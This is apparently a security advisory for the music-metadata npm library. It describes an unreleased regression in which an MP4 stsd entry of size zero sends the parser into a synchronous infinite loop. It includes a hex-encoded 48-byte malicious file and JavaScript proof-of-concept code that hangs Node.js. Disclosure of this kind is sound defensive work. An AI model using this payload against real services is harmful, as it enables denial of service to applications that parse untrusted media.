music-metadata: MP4 stsd sample-entry size==0 causes a synchronous infinite loop (DoS) — unreleased regression on masterGHSA-f94x-6692-553q

Summary

StsdAtom.get() in lib/mp4/AtomToken.ts parses an MP4 stsd (sample description) box's entry table by advancing a cursor with off += size - 4, where size is a 32-bit, attacker-controlled per-entry length read straight from the file. When size == 0, that advance is 0, so a file declaring a huge entry_count and a first entry size of 0 spins forever: same bytes read every iteration, no progress, no exit. Because StsdAtom.get runs synchronously inside strtok3's tokenizer, this doesn't just fail slowly — it blocks the Node.js event loop entirely for the whole process. A 48-byte file is enough to hang any service that parses user-uploaded audio/video metadata through parseBuffer, parseFile, parseStream, parseBlob, or parseWebStream.

This is currently unreleased — present on the master branch only, not in the latest npm release (11.14.0) or any earlier one. Reporting now, before it ships.

Details

lib/mp4/AtomToken.ts, StsdAtom.get():

for (let n = 0; n < header.numberOfEntries; ++n) {
  const size = Token.UINT32_BE.get(buf, off);   // attacker-controlled entry size
  off += Token.UINT32_BE.len;                    // +4 (skip the size field)
  table.push(new SampleDescriptionTable(size - Token.UINT32_BE.len).get(buf, off));
  off += size - Token.UINT32_BE.len;             // net advance = size - 4
}

• Introduced by commit d2a7d6f ("fix(mp4): locate each sample entry after the first correctly", merged via PR #2693, fixing issue #2691, 2026-08-03). Before that fix the code was off += size (correct advance, but it over-skipped the first entry — the actual bug PR #2693 was fixing). The fix changed it to off += size - 4 to correct the offset, but added no guard for size < 4.
• With size == 0: net advance for the iteration is 4 + (0 - 4) = 0. off never moves. The loop re-reads the same 4 bytes as size on every pass, entry_count (also attacker-controlled, up to 0xFFFFFFFF) never runs out, and table.push(...) grows without bound on every iteration.
• StsdAtom.get is invoked synchronously from strtok3's AbstractTokenizer.readToken — there is no await point inside the loop, so nothing yields back to the event loop. The process hangs at ~100% CPU until killed externally; table's unbounded growth means it will also eventually exhaust memory if not killed first.
• The pre-fix code (off += size, no -4) does not hang on this input: it over-advances by 4 bytes each entry, and the corrupted second read throws a catchable FieldDecodingError rather than looping. That's why this is a regression introduced specifically by the -4 fix, not a pre-existing bug.

PoC

48-byte MP4 file: a 16-byte ftyp box + a 32-byte stsd box declaring entry_count = 0xFFFFFFFF with one sample entry whose size field is 0.

hex:    00000010667479704d34412000000000000000207374736400000000ffffffff000000006d7034610000000000000001
sha256: 69ee80747d0a7eda3a0d02f7270d6375c8e7f5ca2231a48be558c2e01c02dd80

This builds the malicious buffer inline:

import { parseBuffer } from 'music-metadata';

const ascii = (s) => [...s].map(c => c.charCodeAt(0) & 0xff);
const u32be = (n) => [(n >>> 24) & 0xff, (n >>> 16) & 0xff, (n >>> 8) & 0xff, n & 0xff];
const cat = (...a) => { const o = []; for (const x of a) o.push(...x); return o; };
const zeros = (n) => new Array(n).fill(0);

function build(entryCount, entrySize) {
  const ftyp = cat(u32be(16), ascii('ftyp'), ascii('M4A '), u32be(0));
  const stsdHeader = cat([0], [0, 0, 0], u32be(entryCount)); // version+flags+entry_count
  const entry = cat(u32be(entrySize), ascii('mp4a'), zeros(6), [0, 1]); // size + 12-byte SampleEntry
  const payload = cat(stsdHeader, entry);
  const stsd = cat(u32be(8 + payload.length), ascii('stsd'), payload);
  return Uint8Array.from(cat(ftyp, stsd));
}

const hang = build(0xFFFFFFFF, 0); // entry_count = 0xFFFFFFFF, first entry size = 0
console.log('parsing', hang.length, 'byte file …');
await parseBuffer(hang, { mimeType: 'audio/mp4' }); // never resolves — blocks the event loop
console.log('unreachable');

$ timeout 8 node poc.mjs
parsing 48 byte file …
# process is killed by `timeout` after 8s — never resolves, ~100% CPU the whole time

Control (benign input, entry_count = 1, same size = 0): rejects in 4 ms with a TypeError — the loop runs exactly once and terminates, confirming the hang is specific to the entry_count × size == 0 combination, not the size == 0 field alone.

Version-scope control (same 48-byte file against the latest npm release, [email protected], which still has the pre-fix off += size): rejects in 4 ms with a FieldDecodingError — no hang. Confirms this is a master-only regression, not present in anything currently shipped.

Impact

Any application that parses user-uploaded or otherwise untrusted audio/video files for metadata (a common pattern — media libraries, upload pipelines, transcoding services) can be hung indefinitely by a single 48-byte attacker-supplied file, with no authentication and no special conditions required beyond the normal parse call.

This is the same vulnerability class and CVSS vector as the project's own prior advisory, GHSA-v6c2-xwv6-8xf7 / CVE-2026-32256 (ASF parser infinite loop, fixed in 11.12.1) — but a different sink (MP4 stsd, not ASF extension objects) and, notably, this one reaches every tokenizer backend rather than being spared by parseStream the way the ASF bug was, since the buffer here is already fully materialized in memory when StsdAtom.get runs.